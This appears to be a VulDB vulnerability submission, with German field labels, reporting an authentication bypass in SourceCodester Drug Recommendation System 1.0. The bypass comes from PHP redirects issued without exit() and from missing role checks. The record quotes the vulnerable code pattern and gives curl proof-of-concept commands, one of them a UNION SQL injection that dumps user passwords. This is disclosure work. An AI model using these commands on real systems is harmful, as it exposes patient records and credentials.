| Titel | SourceCodester Drug Recommendation System 1.0 Authentication Bypass Issues |
|---|
| Beschreibung | An improper access control vulnerability exists in SourceCodester Drug Recommendation System 1.0. Every administrative page in Admin/ uses header("Location: ../Auth/user_login") for authentication checks without calling exit() afterward. PHP header() sends an HTTP redirect but does not terminate script execution, so the full response body is still rendered. An attacker using curl or any client that ignores redirects can read all admin pages without authentication. There is also no role-based authorization check; any logged-in user (Doctor, Pharmacist) can access all administrative functions including user management, password changes, and deletions.
Vulnerable pattern repeated in every Admin/*.php:
if (empty($_SESSION['user_id'])) {
header("Location: ../Auth/user_login");
}
// NO exit() or die(); code continues to execute
Affected files: Admin/index.php, Admin/add_drug.php, Admin/add_symptom.php, Admin/add_user.php, Admin/change_password.php, Admin/delete_patient.php, Admin/delete_user.php, Admin/delete_symptom.php, Admin/delete_recommendation.php, Admin/delete_student.php, Admin/edit_user.php, Admin/edit_symptom.php, Admin/edit_class.php, Admin/enable_disable_user.php, Admin/predict.php, Admin/profile.php, Admin/recommend.php, Admin/user_record.php, Admin/patient_record.php, Admin/recommendation_record.php, Admin/symptom_record.php.
Proof of Concept (unauthenticated):
curl.exe -s http://TARGET/Admin/index.php | findstr "Welcome"
curl.exe -s http://TARGET/Admin/user_record.php | findstr "email"
curl.exe -s "http://TARGET/Admin/edit_user.php?id=1' UNION SELECT 1,2,name,4,password,role,7,8,9 FROM users-- -"
Impact: Unauthenticated access to all administrative pages, user data, patient records, and SQL injection endpoints. Any logged-in non-admin user can perform admin operations. CWE-862, CVSS v3.1 7.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L).
|
|---|
| Quelle | ⚠️ https://www.sourcecodester.com/php/18278/drug-recommender-web-app-student-project.html |
|---|
| Benutzer | swj99557271 (UID 101148) |
|---|
| Einreichung | 10.09.2026 05:56 (vor 2 Monaten) |
|---|
| Moderieren | 11.10.2026 19:11 (1 month later) |
|---|
| Status | Duplikat |
|---|
| VulDB Eintrag | 413697 [SourceCodester Drug Recommendation System 1.0 Auth Guard user_id schwache Authentisierung] |
|---|
| Punkte | 0 |
|---|